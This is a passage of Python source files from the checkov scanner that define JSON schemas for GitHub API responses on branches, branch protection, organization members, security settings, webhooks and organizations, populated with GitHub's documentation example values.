], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } }, "teams": { "description": "The list of teams with review dismissal access.", "type": "array", "items": { "title": "Team", "description": "Groups of organization members that gives permissions on specified repositories.", "type": "object", "properties": { "id": { "type": "integer" }, "node_id": { "type": "string" }, "name": { "type": "string" }, "slug": { "type": "string" }, "description": { "type": [ "string", "null" ] }, "privacy": { "type": "string" }, "permission": { "type": "string" }, "permissions": { "type": "object", "properties": { "pull": { "type": "boolean" }, "triage": { "type": "boolean" }, "push": { "type": "boolean" }, "maintain": { "type": "boolean" }, "admin": { "type": "boolean" } }, "required": [ "pull", "triage", "push", "maintain", "admin" ] }, "url": { "type": "string", "format": "uri" }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/orgs/rails/teams/core" ] }, "members_url": { "type": "string" }, "repositories_url": { "type": "string", "format": "uri" }, "parent": { "anyOf": [ { "type": "null" }, { "title": "Team Simple", "description": "Groups of organization members that gives permissions on specified repositories.", "type": "object", "properties": { "id": { "description": "Unique identifier of the team", "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VGVhbTE=" ] }, "url": { "description": "URL for the team", "type": "string", "format": "uri", "examples": [ "https://api.github.com/organizations/1/team/1" ] }, "members_url": { "type": "string", "examples": [ "https://api.github.com/organizations/1/team/1/members{/member}" ] }, "name": { "description": "Name of the team", "type": "string", "examples": [ "Justice League" ] }, "description": { "description": "Description of the team", "type": [ "string", "null" ], "examples": [ "A great team." ] }, "permission": { "description": "Permission that the team will have for its repositories", "type": "string", "examples": [ "admin" ] }, "privacy": { "description": "The level of privacy this team should have", "type": "string", "examples": [ "closed" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/orgs/rails/teams/core" ] }, "repositories_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/organizations/1/team/1/repos" ] }, "slug": { "type": "string", "examples": [ "justice-league" ] }, "ldap_dn": { "description": "Distinguished Name (DN) that team maps to within LDAP environment", "type": "string", "examples": [ "uid=example,ou=users,dc=github,dc=com" ] } }, "required": [ "id", "node_id", "url", "members_url", "name", "description", "permission", "html_url", "repositories_url", "slug" ] } ] } }, "required": [ "id", "node_id", "url", "members_url", "name", "description", "permission", "html_url", "repositories_url", "slug", "parent" ] } }, "apps": { "description": "The list of apps with review dismissal access.", "type": "array", "items": { "title": "GitHub app", "description": "GitHub apps are a new way to extend GitHub. They can be installed directly on organizations and user accounts and granted access to specific repositories. They come with granular permissions and built-in webhooks. GitHub apps are first class actors within GitHub.", "type": "object", "properties": { "id": { "description": "Unique identifier of the GitHub app", "type": "integer", "examples": [ 37 ] }, "slug": { "description": "The slug name of the GitHub app", "type": "string", "examples": [ "probot-owners" ] }, "node_id": { "type": "string", "examples": [ "MDExOkludGVncmF0aW9uMQ==" ] }, "owner": { "anyOf": [ { "type": "null" }, { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } ] }, "name": { "description": "The name of the GitHub app", "type": "string", "examples": [ "Probot Owners" ] }, "description": { "type": [ "string", "null" ], "examples": [ "The description of the app." ] }, "external_url": { "type": "string", "format": "uri", "examples": [ "https://example.com" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/apps/super-ci" ] }, "created_at": { "type": "string", "format": "date-time", "examples": [ "2017-07-08T16:18:44-04:00" ] }, "updated_at": { "type": "string", "format": "date-time", "examples": [ "2017-07-08T16:18:44-04:00" ] }, "permissions": { "description": "The set of permissions for the GitHub app", "type": "object", "properties": { "issues": { "type": "string" }, "checks": { "type": "string" }, "metadata": { "type": "string" }, "contents": { "type": "string" }, "deployments": { "type": "string" } }, "additionalProperties": { "type": "string" }, "example": { "issues": "read", "deployments": "write" } }, "events": { "description": "The list of events for the GitHub app", "type": "array", "items": { "type": "string" }, "examples": [ "label", "deployment" ] }, "installations_count": { "description": "The number of installations associated with the GitHub app", "type": "integer", "examples": [ 5 ] }, "client_id": { "type": "string", "examples": [ "\"Iv1.25b5d1e65ffc4022\"" ] }, "client_secret": { "type": "string", "examples": [ "\"1d4b2097ac622ba702d19de498f005747a8b21d3\"" ] }, "webhook_secret": { "type": [ "string", "null" ], "examples": [ "\"6fba8f2fc8a7e8f2cca5577eddd82ca7586b3b6b\"" ] }, "pem": { "type": "string" } }, "required": [ "id", "node_id", "owner", "name", "description", "external_url", "html_url", "created_at", "updated_at", "permissions", "events" ] } }, "url": { "type": "string", "examples": [ "\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions\"" ] }, "users_url": { "type": "string", "examples": [ "\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions/users\"" ] }, "teams_url": { "type": "string", "examples": [ "\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions/teams\"" ] } } }, "bypass_pull_request_allowances": { "type": "object", "description": "Allow specific users, teams, or apps to bypass pull request requirements.", "properties": { "users": { "description": "The list of users allowed to bypass pull request requirements.", "type": "array", "items": { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } }, "teams": { "description": "The list of teams allowed to bypass pull request requirements.", "type": "array", "items": { "title": "Team", "description": "Groups of organization members that gives permissions on specified repositories.", "type": "object", "properties": { "id": { "type": "integer" }, "node_id": { "type": "string" }, "name": { "type": "string" }, "slug": { "type": "string" }, "description": { "type": [ "string", "null" ] }, "privacy": { "type": "string" }, "permission": { "type": "string" }, "permissions": { "type": "object", "properties": { "pull": { "type": "boolean" }, "triage": { "type": "boolean" }, "push": { "type": "boolean" }, "maintain": { "type": "boolean" }, "admin": { "type": "boolean" } }, "required": [ "pull", "triage", "push", "maintain", "admin" ] }, "url": { "type": "string", "format": "uri" }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/orgs/rails/teams/core" ] }, "members_url": { "type": "string" }, "repositories_url": { "type": "string", "format": "uri" }, "parent": { "anyOf": [ { "type": "null" }, { "title": "Team Simple", "description": "Groups of organization members that gives permissions on specified repositories.", "type": "object", "properties": { "id": { "description": "Unique identifier of the team", "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VGVhbTE=" ] }, "url": { "description": "URL for the team", "type": "string", "format": "uri", "examples": [ "https://api.github.com/organizations/1/team/1" ] }, "members_url": { "type": "string", "examples": [ "https://api.github.com/organizations/1/team/1/members{/member}" ] }, "name": { "description": "Name of the team", "type": "string", "examples": [ "Justice League" ] }, "description": { "description": "Description of the team", "type": [ "string", "null" ], "examples": [ "A great team." ] }, "permission": { "description": "Permission that the team will have for its repositories", "type": "string", "examples": [ "admin" ] }, "privacy": { "description": "The level of privacy this team should have", "type": "string", "examples": [ "closed" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/orgs/rails/teams/core" ] }, "repositories_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/organizations/1/team/1/repos" ] }, "slug": { "type": "string", "examples": [ "justice-league" ] }, "ldap_dn": { "description": "Distinguished Name (DN) that team maps to within LDAP environment", "type": "string", "examples": [ "uid=example,ou=users,dc=github,dc=com" ] } }, "required": [ "id", "node_id", "url", "members_url", "name", "description", "permission", "html_url", "repositories_url", "slug" ] } ] } }, "required": [ "id", "node_id", "url", "members_url", "name", "description", "permission", "html_url", "repositories_url", "slug", "parent" ] } }, "apps": { "description": "The list of apps allowed to bypass pull request requirements.", "type": "array", "items": { "title": "GitHub app", "description": "GitHub apps are a new way to extend GitHub. They can be installed directly on organizations and user accounts and granted access to specific repositories. They come with granular permissions and built-in webhooks. GitHub apps are first class actors within GitHub.", "type": "object", "properties": { "id": { "description": "Unique identifier of the GitHub app", "type": "integer", "examples": [ 37 ] }, "slug": { "description": "The slug name of the GitHub app", "type": "string", "examples": [ "probot-owners" ] }, "node_id": { "type": "string", "examples": [ "MDExOkludGVncmF0aW9uMQ==" ] }, "owner": { "anyOf": [ { "type": "null" }, { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } ] }, "name": { "description": "The name of the GitHub app", "type": "string", "examples": [ "Probot Owners" ] }, "description": { "type": [ "string", "null" ], "examples": [ "The description of the app." ] }, "external_url": { "type": "string", "format": "uri", "examples": [ "https://example.com" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/apps/super-ci" ] }, "created_at": { "type": "string", "format": "date-time", "examples": [ "2017-07-08T16:18:44-04:00" ] }, "updated_at": { "type": "string", "format": "date-time", "examples": [ "2017-07-08T16:18:44-04:00" ] }, "permissions": { "description": "The set of permissions for the GitHub app", "type": "object", "properties": { "issues": { "type": "string" }, "checks": { "type": "string" }, "metadata": { "type": "string" }, "contents": { "type": "string" }, "deployments": { "type": "string" } }, "additionalProperties": { "type": "string" }, "example": { "issues": "read", "deployments": "write" } }, "events": { "description": "The list of events for the GitHub app", "type": "array", "items": { "type": "string" }, "examples": [ "label", "deployment" ] }, "installations_count": { "description": "The number of installations associated with the GitHub app", "type": "integer", "examples": [ 5 ] }, "client_id": { "type": "string", "examples": [ "\"Iv1.25b5d1e65ffc4022\"" ] }, "client_secret": { "type": "string", "examples": [ "\"1d4b2097ac622ba702d19de498f005747a8b21d3\"" ] }, "webhook_secret": { "type": [ "string", "null" ], "examples": [ "\"6fba8f2fc8a7e8f2cca5577eddd82ca7586b3b6b\"" ] }, "pem": { "type": "string" } }, "required": [ "id", "node_id", "owner", "name", "description", "external_url", "html_url", "created_at", "updated_at", "permissions", "events" ] } } } }, "dismiss_stale_reviews": { "type": "boolean", "examples": [ True ] }, "require_code_owner_reviews": { "type": "boolean", "examples": [ True ] }, "required_approving_review_count": { "type": "integer", "minimum": 0, "maximum": 6, "examples": [ 2 ] }, "require_last_push_approval": { "description": "Whether the most recent push must be approved by someone other than the person who pushed it.", "type": "boolean", "default": False, "examples": [ True ] } }, "required": [ "dismiss_stale_reviews", "require_code_owner_reviews" ] }, "restrictions": { "title": "Branch Restriction Policy", "description": "Branch Restriction Policy", "type": "object", "properties": { "url": { "type": "string", "format": "uri" }, "users_url": { "type": "string", "format": "uri" }, "teams_url": { "type": "string", "format": "uri" }, "apps_url": { "type": "string", "format": "uri" }, "users": { "type": "array", "items": { "type": "object", "properties": { "login": { "type": "string" }, "id": { "type": "integer" }, "node_id": { "type": "string" }, "avatar_url": { "type": "string" }, "gravatar_id": { "type": "string" }, "url": { "type": "string" }, "html_url": { "type": "string" }, "followers_url": { "type": "string" }, "following_url": { "type": "string" }, "gists_url": { "type": "string" }, "starred_url": { "type": "string" }, "subscriptions_url": { "type": "string" }, "organizations_url": { "type": "string" }, "repos_url": { "type": "string" }, "events_url": { "type": "string" }, "received_events_url": { "type": "string" }, "type": { "type": "string" }, "site_admin": { "type": "boolean" } } } }, "teams": { "type": "array", "items": { "type": "object", "properties": { "id": { "type": "integer" }, "node_id": { "type": "string" }, "url": { "type": "string" }, "html_url": { "type": "string" }, "name": { "type": "string" }, "slug": { "type": "string" }, "description": { "type": [ "string", "null" ] }, "privacy": { "type": "string" }, "permission": { "type": "string" }, "members_url": { "type": "string" }, "repositories_url": { "type": "string" }, "parent": { "type": [ "string", "null" ] } } } }, "apps": { "type": "array", "items": { "type": "object", "properties": { "id": { "type": "integer" }, "slug": { "type": "string" }, "node_id": { "type": "string" }, "owner": { "type": "object", "properties": { "login": { "type": "string" }, "id": { "type": "integer" }, "node_id": { "type": "string" }, "url": { "type": "string" }, "repos_url": { "type": "string" }, "events_url": { "type": "string" }, "hooks_url": { "type": "string" }, "issues_url": { "type": "string" }, "members_url": { "type": "string" }, "public_members_url": { "type": "string" }, "avatar_url": { "type": "string" }, "description": { "type": "string" }, "gravatar_id": { "type": "string", "examples": [ "\"\"" ] }, "html_url": { "type": "string", "examples": [ "\"https://github.com/testorg-ea8ec76d71c3af4b\"" ] }, "followers_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/followers\"" ] }, "following_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/following{/other_user}\"" ] }, "gists_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/gists{/gist_id}\"" ] }, "starred_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/starred{/owner}{/repo}\"" ] }, "subscriptions_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/subscriptions\"" ] }, "organizations_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/orgs\"" ] }, "received_events_url": { "type": "string", "examples": [ "\"https://api.github.com/users/testorg-ea8ec76d71c3af4b/received_events\"" ] }, "type": { "type": "string", "examples": [ "\"Organization\"" ] }, "site_admin": { "type": "boolean", "examples": [ False ] } } }, "name": { "type": "string" }, "description": { "type": "string" }, "external_url": { "type": "string" }, "html_url": { "type": "string" }, "created_at": { "type": "string" }, "updated_at": { "type": "string" }, "permissions": { "type": "object", "properties": { "metadata": { "type": "string" }, "contents": { "type": "string" }, "issues": { "type": "string" }, "single_file": { "type": "string" } } }, "events": { "type": "array", "items": { "type": "string" } } } } } }, "required": [ "url", "users_url", "teams_url", "apps_url", "users", "teams", "apps" ] }, "required_linear_history": { "type": "object", "properties": { "enabled": { "type": "boolean" } } }, "allow_force_pushes": { "type": "object", "properties": { "enabled": { "type": "boolean" } } }, "allow_deletions": { "type": "object", "properties": { "enabled": { "type": "boolean" } } }, "block_creations": { "type": "object", "properties": { "enabled": { "type": "boolean" } } }, "required_conversation_resolution": { "type": "object", "properties": { "enabled": { "type": "boolean" } } }, "name": { "type": "string", "examples": [ "\"branch/with/protection\"" ] }, "protection_url": { "type": "string", "examples": [ "\"https://api.github.com/repos/owner-79e94e2d36b3fd06a32bb213/AAA_Public_Repo/branches/branch/with/protection/protection\"" ] }, "required_signatures": { "type": "object", "properties": { "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_signatures" ] }, "enabled": { "type": "boolean", "examples": [ True ] } }, "required": [ "url", "enabled" ] }, "lock_branch": { "type": "object", "description": "Whether to set the branch as read-only. If this is true, users will not be able to push to the branch.", "properties": { "enabled": { "default": False, "type": "boolean" } } }, "allow_fork_syncing": { "type": "object", "description": "Whether users can pull changes from upstream when the branch is locked. Set to `true` to allow fork syncing. Set to `false` to prevent fork syncing.", "properties": { "enabled": { "default": False, "type": "boolean" } } } } }, "protection_url": { "type": "string", "format": "uri" }, "pattern": { "type": "string", "examples": [ "\"mas*\"" ] }, "required_approving_review_count": { "type": "integer", "examples": [ 1 ] } }, "required": [ "name", "commit", "_links", "protection", "protected", "protection_url" ] } super().__init__(schema=schema) schema = BranchSchema() ================================================ FILE: checkov/github/schemas/branch_protection.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class BranchProtectionSchema(VCSSchema): def __init__(self) -> None: schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "url": { "type": "string" }, "required_signatures": { "type": "object", "properties": { "url": { "type": "string" }, "enabled": { "type": "boolean" } }, "required": [ "url", "enabled" ] }, "enforce_admins": { "type": "object", "properties": { "url": { "type": "string" }, "enabled": { "type": "boolean" } }, "required": [ "url", "enabled" ] }, "required_linear_history": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "allow_force_pushes": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "allow_deletions": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "required_conversation_resolution": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] } }, "required": [ "url", "enforce_admins", "required_linear_history", "allow_force_pushes", "allow_deletions", ] } super().__init__(schema=schema) schema = BranchProtectionSchema() ================================================ FILE: checkov/github/schemas/no_branch_protection.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class NoBranchProtectionSchema(VCSSchema): def __init__(self) -> None: schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "message": { "type": "string" }, "documentation_url": { "type": "string" } }, "required": [ "message", "documentation_url" ] } super().__init__(schema=schema) schema = NoBranchProtectionSchema() ================================================ FILE: checkov/github/schemas/org_members.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class OrgMembersSchema(VCSSchema): def __init__(self) -> None: schema = { "type": "array", "items": { "title": "Simple User", "description": "A GitHub user.", "type": "object", "properties": { "name": { "type": [ "string", "null" ] }, "email": { "type": [ "string", "null" ] }, "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "starred_at": { "type": "string", "examples": [ "\"2020-07-09T00:17:55Z\"" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url" ] } } super().__init__(schema=schema) schema = OrgMembersSchema() ================================================ FILE: checkov/github/schemas/org_security.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class OrgSecuritySchema(VCSSchema): def __init__(self) -> None: schema = { "type": "object", "properties": { "data": { "type": "object", "properties": { "organization": { "type": "object", "properties": { "name": { "type": "string" }, "login": { "type": "string" }, "description": { "oneOf": [ {"type": "string"}, {"type": "null"} ] }, "ipAllowListEnabledSetting": { "type": "string" }, "ipAllowListForInstalledAppsEnabledSetting": { "type": "string" }, "requiresTwoFactorAuthentication": { "type": "boolean" }, "samlIdentityProvider": { "anyOf": [ { "type": "object", "properties": { "ssoUrl": { "type": "string" } } }, { "type": "null" } ] } }, "required": [ "name", "login", "description", "ipAllowListEnabledSetting", "ipAllowListForInstalledAppsEnabledSetting", "requiresTwoFactorAuthentication"] } }, "required": [ "organization" ] } }, "required": [ "data" ] } super().__init__(schema=schema) schema = OrgSecuritySchema() ================================================ FILE: checkov/github/schemas/org_webhooks.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class OrgWebhooksSchema(VCSSchema): def __init__(self) -> None: schema = { "type": "array", "items": { "title": "Org Hook", "description": "Org Hook", "type": "object", "properties": { "id": { "type": "integer", "examples": [ 1 ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/octocat/hooks/1" ] }, "ping_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/octocat/hooks/1/pings" ] }, "deliveries_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/octocat/hooks/1/deliveries" ] }, "name": { "type": "string", "examples": [ "web" ] }, "events": { "type": "array", "items": { "type": "string" }, "examples": [ "push", "pull_request" ] }, "active": { "type": "boolean", "examples": [ True ] }, "config": { "type": "object", "properties": { "url": { "type": "string", "examples": [ "\"http://example.com/2\"" ] }, "insecure_ssl": { "type": "string", "examples": [ "\"0\"" ] }, "content_type": { "type": "string", "examples": [ "\"form\"" ] }, "secret": { "type": "string", "examples": [ "\"********\"" ] } } }, "updated_at": { "type": "string", "format": "date-time", "examples": [ "2011-09-06T20:39:23Z" ] }, "created_at": { "type": "string", "format": "date-time", "examples": [ "2011-09-06T17:26:27Z" ] }, "type": { "type": "string", "const": "Organization" } }, "required": [ "id", "url", "type", "name", "active", "events", "config", "ping_url", "created_at", "updated_at" ] } } super().__init__(schema=schema) schema = OrgWebhooksSchema() ================================================ FILE: checkov/github/schemas/organization.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class OrganizationSchema(VCSSchema): def __init__(self) -> None: schema = { "title": "Organization Full", "description": "Organization Full", "type": "object", "properties": { "login": { "type": "string", "examples": [ "github" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "node_id": { "type": "string", "examples": [ "MDEyOk9yZ2FuaXphdGlvbjE\u003d" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/github" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/github/repos" ] }, "events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/orgs/github/events" ] }, "hooks_url": { "type": "string", "examples": [ "https://api.github.com/orgs/github/hooks" ] }, "issues_url": { "type": "string", "examples": [ "https://api.github.com/orgs/github/issues" ] }, "members_url": { "type": "string", "examples": [ "https://api.github.com/orgs/github/members{/member}" ] }, "public_members_url": { "type": "string", "examples": [ "https://api.github.com/orgs/github/public_members{/member}" ] }, "avatar_url": { "type": "string", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "description": { "type": [ "string", "null" ], "examples": [ "A great organization" ] }, "name": { "type": "string", "examples": [ "github" ] }, "company": { "type": "string", "examples": [ "GitHub" ] }, "blog": { "type": "string", "format": "uri", "examples": [ "https://github.com/blog" ] }, "location": { "type": "string", "examples": [ "San Francisco" ] }, "email": { "type": "string", "format": "email", "examples": [ "octocat@github.com" ] }, "twitter_username": { "type": [ "string", "null" ], "examples": [ "github" ] }, "is_verified": { "type": "boolean", "examples": [ True ] }, "has_organization_projects": { "type": "boolean", "examples": [ True ] }, "has_repository_projects": { "type": "boolean", "examples": [ True ] }, "public_repos": { "type": "integer", "examples": [ 2 ] }, "public_gists": { "type": "integer", "examples": [ 1 ] }, "followers": { "type": "integer", "examples": [ 20 ] }, "following": { "type": "integer", "examples": [ 0 ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, 